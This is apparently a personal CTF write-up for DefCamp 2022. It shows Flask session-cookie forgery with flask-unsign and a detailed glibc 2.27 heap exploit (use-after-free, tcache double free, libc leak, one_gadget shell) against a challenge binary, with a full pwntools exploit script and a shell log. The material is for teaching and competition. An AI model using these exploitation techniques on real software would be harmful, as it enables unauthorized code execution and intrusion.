Contents

DefCamp CTF 2022

On this CTF, I only managed to solve two challenges, the web-intro and cache challenge. However, I’m super happy doing this CTF because I learned a lot about heap during doing this CTF. Kudos to the organizers! Here is my writeup for those two challenges.

Web

web-intro

We were given a flask website, where it only show Access Denied. Checking the cookie, we notice it contains the session. Using flask unsign, we try to bruteforce the secret, and found it.

1
2
3
flask-unsign --unsign --cookie eyJsb2dnZWRfaW4iOmZhbHNlfQ.YgY8Ag.brYMgM6ScmEf9me5I0-BKia5QTs

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'password'

Flag: CTF{66bf8ba5c3ee2bd230f5cc2de57c1f09f471de8833eae3ff7566da21eb141eb7}

Pwn

Cache

Disclaimer
This is my first time doing heap challenge, I spend a lot of time learning while doing it, so I’m sorry if I made some mistakes during explaining my solution. Would love to have your comments or feedback if you found some misinformation in my writeup.

Intro

We were given a libc and a binary file called vuln. Checking the given libc, we know that the glibc version is 2.27

Initial analysis

Here is the result of the decompilation with Ghidra

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
void main(EVP_PKEY_CTX *param_1)

{
  long in_FS_OFFSET;
  int local_24;
  void *student_pointer;
  code **admin_pointer;
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  student_pointer = (void *)0x0;
  admin_pointer = (code **)0x0;
  init(param_1);
  do {
    while( true ) {
      while( true ) {
        while( true ) {
          puts("MENU");
          puts("1: Make new admin");
          puts("2: Make new user");
          puts("3: Print admin info");
          puts("4: Edit Student Name");
          puts("5: Print Student Name");
          puts("6: Delete admin");
          puts("7: Delete user");
          printf("\nChoice: ");
          fflush(stdout);
          __isoc99_scanf("%d%*c",&local_24);
          if (local_24 != 1) break;
          admin_pointer = (code **)malloc(0x10);
          admin_pointer[1] = admin_info;
          *admin_pointer = getFlag;
        }
        if (local_24 != 2) break;
        student_pointer = malloc(0x10);
        printf("What is your name: ");
        fflush(stdout);
        read(0,student_pointer,0x10);
      }
      if (local_24 != 3) break;
      (*admin_pointer[1])();
    }
    if (local_24 == 4) {
      printf("What is your name: ");
      fflush(stdout);
      read(0,student_pointer,0x10);
    }
    else if (local_24 == 5) {
      if (student_pointer == (void *)0x0) {
        puts("New student has not been created yet");
      }
      else {
        printf("Students name is %s\n",student_pointer);
      }
    }
    else if (local_24 == 6) {
      free(admin_pointer);
    }
    else if (local_24 == 7) {
      free(student_pointer);
    }
    else {
      puts("bad input");
    }
  } while( true );
}

Reading the decompilation result, we notice some bug.

  • Use After Free on admin and student pointer (Because after being freed, the pointer is not set to null).
  • Double Free due to previous bug and the glibc version
  • We can easily call a function by calling the menu 3 (print admin info)

Pitfall solution

To make our life easier, let’s make a wrapper in python to do that:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
libc = ELF('./libc.so.6')
r = process('./vuln', env={})

def print_student():
    r.sendlineafter(b'Choice: ', b'5')
    r.recvuntil(b'is ')
    return r.recvuntil(b'\n').strip()

def new_admin():
    r.sendlineafter(b'Choice: ', b'1')

def free_admin():
    r.sendlineafter(b'Choice: ', b'6')

def get_shell():
    r.sendlineafter(b'Choice: ', b'3')
    r.interactive()

def new_student(name):
    r.sendlineafter(b'Choice: ', b'2')
    r.sendlineafter(b': ', name)

def edit_student(name):
    r.sendlineafter(b'Choice: ', b'4')
    r.sendlineafter(b': ', name)

def free_student():
    r.sendlineafter(b'Choice: ', b'7')

Skimming the decompiled code, it seems the solution that we need is only abusing the UAF bug:

  • Create Admin
  • Free it (then the chunk goes to tcache because the malloc size is 0x10)
  • Create User where the last 8 byte is the getFlag address
  • Call Print Admin Info (Because admin_pointer and student_pointer is pointing to the same chunk, hence call Print Admin Info will call getFlag).

After I did the above steps, turn out the printed flag was a fake flag.

Further analysis

Seems like we need to trigger shell to look around for the real flag. Basically, our target is to do the above steps, but instead of putting the getFlag address, we trigger the shell.

Idea explanation

In order to do that, first I try to find execve("/bin/sh" on the given libc with one_gadget. We found some candidates.

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

To use that gadget, we need to leak libc base address. In order to do that, we can’t rely on the tcache bin. We need to find a way, so that during we call the free, the chunk got cached inside unsortedbin, because unsorted bin chunk will store pointer to libc main_arena. With UAF, we can leak the libc base address. How to do that? The main idea is we need to:

  • Forge a chunk with size 0x90
  • Free it 7 times (So that tcache[0x90] will be full)
  • Free it one more time. And then our chunk will go to unsortedbin (If we use size smaller than 0x90, it will go to fastbin)
  • Using UAF, we can print the chunk data (which contains the libc address of the main_arena)
  • Reuse the pitfall solution, but instead of getFlag address, we store our shell gadget address

Let’s do that 😄

Leak heap address

In order to fulfill that, we need to find the heap_address first. We can use double free to retrieve the heap address:

  • Create new student
  • Free it (our chunk will go to tcache, and tcache_entry->next is null)
  • Free it again (Because we free the same chunk, the single linked list of tcache_entry will create a loop. The tcache[0x20] will be like thisstudent_pointer->student_pointer->...)
1
2
3
4
5
6
7
# Leak heap address by double-free
new_student(b'a'*0x10)
for i in range(2): # Double free
    free_student()
out = print_student()
heap_address = u64(out.ljust(8, b'\x00'))
log.info(f'Leak heap address: {hex(heap_address)}')

Heap after creating new student named aaaaaaaaaaaaaaaa

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x21a0260-0x10
0x21a0250:	0x0000000000000000	0x0000000000000021 <- chunk size metadata
0x21a0260:	0x6161616161616161	0x6161616161616161 <- chunk data
0x21a0270:	0x0000000000000000	0x0000000000020d91
0x21a0280:	0x0000000000000000	0x0000000000000000
0x21a0290:	0x0000000000000000	0x0000000000000000
0x21a02a0:	0x0000000000000000	0x0000000000000000
0x21a02b0:	0x0000000000000000	0x0000000000000000
0x21a02c0:	0x0000000000000000	0x0000000000000000
0x21a02d0:	0x0000000000000000	0x0000000000000000
0x21a02e0:	0x0000000000000000	0x0000000000000000
0x21a02f0:	0x0000000000000000	0x0000000000000000
0x21a0300:	0x0000000000000000	0x0000000000000000
0x21a0310:	0x0000000000000000	0x0000000000000000
0x21a0320:	0x0000000000000000	0x0000000000000000
0x21a0330:	0x0000000000000000	0x0000000000000000

First free

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x21a0260-0x10
0x21a0250:	0x0000000000000000	0x0000000000000021
0x21a0260:	0x0000000000000000	0x6161616161616161 <- This chunk become tcache_entry, and the first 8 bytes point to the next tcache_entry, which is null because only 1 entry for now
0x21a0270:	0x0000000000000000	0x0000000000020d91
0x21a0280:	0x0000000000000000	0x0000000000000000
0x21a0290:	0x0000000000000000	0x0000000000000000
0x21a02a0:	0x0000000000000000	0x0000000000000000
0x21a02b0:	0x0000000000000000	0x0000000000000000
0x21a02c0:	0x0000000000000000	0x0000000000000000
0x21a02d0:	0x0000000000000000	0x0000000000000000
0x21a02e0:	0x0000000000000000	0x0000000000000000
0x21a02f0:	0x0000000000000000	0x0000000000000000
0x21a0300:	0x0000000000000000	0x0000000000000000
0x21a0310:	0x0000000000000000	0x0000000000000000
0x21a0320:	0x0000000000000000	0x0000000000000000
0x21a0330:	0x0000000000000000	0x0000000000000000

Free it again

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x21a0260-0x10
0x21a0250:	0x0000000000000000	0x0000000000000021
0x21a0260:	0x00000000021a0260	0x6161616161616161 <- Because of the double free, the tcache_entry single linked list create a loop
0x21a0270:	0x0000000000000000	0x0000000000020d91
0x21a0280:	0x0000000000000000	0x0000000000000000
0x21a0290:	0x0000000000000000	0x0000000000000000
0x21a02a0:	0x0000000000000000	0x0000000000000000
0x21a02b0:	0x0000000000000000	0x0000000000000000
0x21a02c0:	0x0000000000000000	0x0000000000000000
0x21a02d0:	0x0000000000000000	0x0000000000000000
0x21a02e0:	0x0000000000000000	0x0000000000000000
0x21a02f0:	0x0000000000000000	0x0000000000000000
0x21a0300:	0x0000000000000000	0x0000000000000000
0x21a0310:	0x0000000000000000	0x0000000000000000
0x21a0320:	0x0000000000000000	0x0000000000000000
0x21a0330:	0x0000000000000000	0x0000000000000000

Now, with UAF, we can print student info, which point to the tcache_entry, and we successfully leak the heap_address (via print student info menu).

After that don’t forget to empty the tcache. Set the tcache_entry->next pointer to null, so that when we create a new student, the tcache will be empty (because the next pointer is null). We can use menu 4 (edit student) to null it, because the student_pointer still point to our chunk data.

1
2
3
# Set tcache[0x20] to empty
edit_student(p64(0)) # Make the current tcache_entry->next to null
new_student(b'a'*8) # The malloc will use the cached chunk, and because the next is null, tcache[0x20] is now empty

Now our tcache is empty, and we are ready to create our forged chunk.

Create forged chunk

After finding the heap address, we can create our 0x91 forged chunk (by creating new student), and then later with double free + UAF, we can overwrite the pointer of tcache to point to our forged chunk. We just need to create a lot of chunk (via new student menu) where the name last byte is 0x91. I create new student 6 times, so that the next of my fake chunk is not the wilderness (because if it is, it will get consolidated).

1
2
3
4
# Populate heap because we will forge the chunk to 0x90 size (1 alloc = 0x20 bytes)
# Make sure the next of our forged chunk is not the wilderness
for i in range(6):
    new_student(p64(0) + p64(0x91))

Heap structure after that:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x21a0260-0x10
0x21a0250:	0x0000000000000000	0x0000000000000021
0x21a0260:	0x6161616161616161	0x616161616161610a -> Leaked heap address
0x21a0270:	0x0000000000000000	0x0000000000000021
0x21a0280:	0x0000000000000000	0x0000000000000091 --
0x21a0290:	0x0000000000000000	0x0000000000000021   |
0x21a02a0:	0x0000000000000000	0x0000000000000091   |
0x21a02b0:	0x0000000000000000	0x0000000000000021   |
0x21a02c0:	0x0000000000000000	0x0000000000000091   |-> This is our fake chunk with size 0x91
0x21a02d0:	0x0000000000000000	0x0000000000000021   |
0x21a02e0:	0x0000000000000000	0x0000000000000091   |
0x21a02f0:	0x0000000000000000	0x0000000000000021   |
0x21a0300:	0x0000000000000000	0x0000000000000091 --
0x21a0310:	0x0000000000000000	0x0000000000000021
0x21a0320:	0x0000000000000000	0x0000000000000091 -> student_pointer is currently pointing to this chunk
0x21a0330:	0x0000000000000000	0x0000000000020cd1

Make student_pointer to point the forged chunk

Now we have prepare our forged chunk, now we need to make a pointer point to the chunk (leaked_heap_address+0x30) and then free it. The idea is to:

  • Free the student_pointer. So that tcache[0x20] = last_chunk
  • Call edit student to overwrite the tcache_entry->next to our forged chunk (leaked_heap_address+0x30), so that tcache[0x20] = last_chunk->heap_address+0x30
  • Create new student. This will be allocated to our last chunk, and tcache[0x20] will point to heap_address+0x30
  • Create new student again. This student will be allocated to heap_address+0x30 and now we have a pointer to our forged chunk that is ready to be freed.
1
2
3
4
5
6
# Free the last chunk
# Overwrite it with our desired address (heap_address + 0x30)
free_student()
edit_student(p64(heap_address+0x30)) # tcache[0x20] = last_chunk->heap_address+0x30
new_student(b'a'*8) # Allocate it to last chunk. Now, tcache[0x20] = heap_address+0x30
new_student(b'a'*8) # Allocate it to heap_address+0x30. Now, tcache[0x20] = empty and student_pointer point to heap_address+0x30

Heap structure after that:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x21a0260-0x10
0x21a0250:	0x0000000000000000	0x0000000000000021
0x21a0260:	0x6161616161616161	0x616161616161610a
0x21a0270:	0x0000000000000000	0x0000000000000021
0x21a0280:	0x0000000000000000	0x0000000000000091
0x21a0290:	0x6161616161616161	0x000000000000000a <- student_pointer
0x21a02a0:	0x0000000000000000	0x0000000000000091
0x21a02b0:	0x0000000000000000	0x0000000000000021
0x21a02c0:	0x0000000000000000	0x0000000000000091
0x21a02d0:	0x0000000000000000	0x0000000000000021
0x21a02e0:	0x0000000000000000	0x0000000000000091
0x21a02f0:	0x0000000000000000	0x0000000000000021
0x21a0300:	0x0000000000000000	0x0000000000000091
0x21a0310:	0x0000000000000000	0x0000000000000021
0x21a0320:	0x6161616161616161	0x000000000000000a
0x21a0330:	0x0000000000000000	0x0000000000020cd1

Leak libc base address

Now we have a pointer to our fake chunk, we are ready to leak the libc address of main_arena. We just need to free it 7 times (to fulfill tcache[0x90] bin), and then free it one more time, to make our chunk as the cache of unsorted bin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
for i in range(7):
    free_student() # Free it 7 times to fulfill tcache[0x90]

# Because tcache[0x90] is full, the next free will put the cached chunk into unsorted bins
free_student() # Cache goes to unsorted bins, and its pointer will point to the main_arena

# Now our pointer is pointing to the main_arena. We can leak the libc address by using the print menu,
# because the student variable is still a pointer to the freed chunk
out = print_student()
main_arena = libc.symbols['main_arena']
libc_leaked = u64(out.ljust(8, b'\x00')) # We got main_arena+0x60
libc_base = libc_leaked - main_arena - 0x60
log.info(f'Leak libc base address: {hex(libc_base)}')

Bins and Heap structure before the 8th free:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> bins
tcachebins
0x90 [  7]: 0x21a0290 ◂— 0x21a0290
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/30gx 0x21a0260-0x10
0x21a0250:	0x0000000000000000	0x0000000000000021
0x21a0260:	0x6161616161616161	0x616161616161610a
0x21a0270:	0x0000000000000000	0x0000000000000021
0x21a0280:	0x0000000000000000	0x0000000000000091
0x21a0290:	0x00000000021a0290	0x000000000000000a <- student_pointer pointed address
0x21a02a0:	0x0000000000000000	0x0000000000000091
0x21a02b0:	0x0000000000000000	0x0000000000000021
0x21a02c0:	0x0000000000000000	0x0000000000000091
0x21a02d0:	0x0000000000000000	0x0000000000000021
0x21a02e0:	0x0000000000000000	0x0000000000000091
0x21a02f0:	0x0000000000000000	0x0000000000000021
0x21a0300:	0x0000000000000000	0x0000000000000091
0x21a0310:	0x0000000000000000	0x0000000000000021
0x21a0320:	0x6161616161616161	0x000000000000000a
0x21a0330:	0x0000000000000000	0x0000000000020cd1

After the 8th free:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> bins
tcachebins
0x90 [  7]: 0x21a0290 —▸ 0x7f7bd939aca0 (main_arena+96) —▸ 0x21a0330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x21a0280 —▸ 0x7f7bd939aca0 (main_arena+96) ◂— 0x21a0280
smallbins
empty
largebins
empty
pwndbg> x/30gx 0x21a0260-0x10
0x21a0250:	0x0000000000000000	0x0000000000000021
0x21a0260:	0x6161616161616161	0x616161616161610a
0x21a0270:	0x0000000000000000	0x0000000000000021
0x21a0280:	0x0000000000000000	0x0000000000000091
0x21a0290:	0x00007f7bd939aca0	0x00007f7bd939aca0 <- student_pointer pointed address and now its contains libc address of the main_arena
0x21a02a0:	0x0000000000000000	0x0000000000000091
0x21a02b0:	0x0000000000000000	0x0000000000000021
0x21a02c0:	0x0000000000000000	0x0000000000000091
0x21a02d0:	0x0000000000000000	0x0000000000000021
0x21a02e0:	0x0000000000000000	0x0000000000000091
0x21a02f0:	0x0000000000000000	0x0000000000000021
0x21a0300:	0x0000000000000000	0x0000000000000091
0x21a0310:	0x0000000000000090	0x0000000000000020
0x21a0320:	0x6161616161616161	0x000000000000000a
0x21a0330:	0x0000000000000000	0x0000000000020cd1

With UAF, simply print the student info, and because the student pointer is currently pointing to the leaked libc, it will print the libc address. We finally got the leaked libc address.

Final step

After that, we can reuse the first pitfall solution, but instead of putting the getFlag address, we put our shell_address ready to be executed

1
2
3
4
5
6
7
8
shell_addr = libc_base + libc_shell
new_admin() # Create new admin
free_admin() # Free it
new_student(p64(0)+p64(shell_addr)) # Create new student

# Because of the tcache, now variable admin and student are pointing to the same chunk,
# and the chunk data (last 8 bytes) that can be called by the admin is our shell_addr
get_shell()

Executing the full solution will give us shell and we can read the real flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 35.246.134.224 on port 30532: Done
[*] Leak heap address: 0x1de0260
[*] Leak libc base address: 0x7f8af6ff1000
[*] Switching to interactive mode
$ ls
flag.txt  ld-2.27.so  libc.so.6  real_flag.txt    vuln  vuln.c
$ cat real_flag.txt
CTF{ab7bdaa3e5ed17ed326fef624a2d95d6ea62caa3dba6d1e5493936c362eed40e}

Flag: CTF{ab7bdaa3e5ed17ed326fef624a2d95d6ea62caa3dba6d1e5493936c362eed40e}

Full Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")


'''
1 malloc(admin)
2 malloc(student)
3 call admin[1]
4 edit student
5 print student
6 free admin
7 free student
'''
libc = ELF('./libc.so.6')

r = process('./vuln_patched', env={})
# r = remote('34.159.7.96', 32552)

def print_student():
    r.sendlineafter(b'Choice: ', b'5')
    r.recvuntil(b'is ')
    return r.recvuntil(b'\n').strip()

def new_admin():
    r.sendlineafter(b'Choice: ', b'1')

def free_admin():
    r.sendlineafter(b'Choice: ', b'6')

def get_shell():
    r.sendlineafter(b'Choice: ', b'3')
    r.interactive()

def new_student(name):
    r.sendlineafter(b'Choice: ', b'2')
    r.sendlineafter(b': ', name)

def edit_student(name):
    r.sendlineafter(b'Choice: ', b'4')
    r.sendlineafter(b': ', name)

def free_student():
    r.sendlineafter(b'Choice: ', b'7')

# Leak heap address by double-free
new_student(b'a'*0x10)
for i in range(2): # Double free
    free_student()
out = print_student()
heap_address = u64(out.ljust(8, b'\x00'))
log.info(f'Leak heap address: {hex(heap_address)}')

# Set tcache[0x20] to empty
edit_student(p64(0)) # Make the current tcache_entry->next to null
new_student(b'a'*8) # The malloc will use the cached chunk, and because the next is null, tcache[0x20] is now empty

# Populate heap because we will forge the chunk to 0x90 size (1 alloc = 0x20 bytes)
# Make sure the next of our forged chunk is not the wilderness
for i in range(6):
    new_student(p64(0) + p64(0x91))

# Free the last chunk
# Overwrite it with our desired address (heap_address + 0x30)
free_student()
edit_student(p64(heap_address+0x30)) # tcache[0x20] = last_chunk->heap_address+0x30
new_student(b'a'*8) # Allocate it to last chunk. Now, tcache[0x20] = heap_address+0x30
new_student(b'a'*8) # Allocate it to heap_address+0x30. Now, tcache[0x20] = empty and student pointer point to heap_address+0x30

for i in range(7):
    free_student() # Free it 7 times to fulfill tcache[0x90]

# Because tcache[0x90] is full, the next free will put the cached chunk into unsorted bins
free_student() # Cache goes to unsorted bins, and its pointer will point to the main_arena

# Now our pointer is pointing to the main_arena. We can leak the libc address by using the print menu,
# because the student variable is still a pointer to the freed chunk
out = print_student()
main_arena = libc.symbols['main_arena']
libc_leaked = u64(out.ljust(8, b'\x00')) # We got main_arena+0x60
libc_base = libc_leaked - main_arena - 0x60
log.info(f'Leak libc base address: {hex(libc_base)}')

libc_shell = 0x10a38c # one_gadget
shell_addr = libc_base + libc_shell
new_admin() # Create new admin
free_admin() # Free it
new_student(p64(0)+p64(shell_addr)) # Create new student

# Because of the tcache, now variable admin and student are pointing to the same chunk,
# and the chunk data (last 8 bytes) that can be called by the admin is our shell_addr
get_shell()

Social Media

Follow me on twitter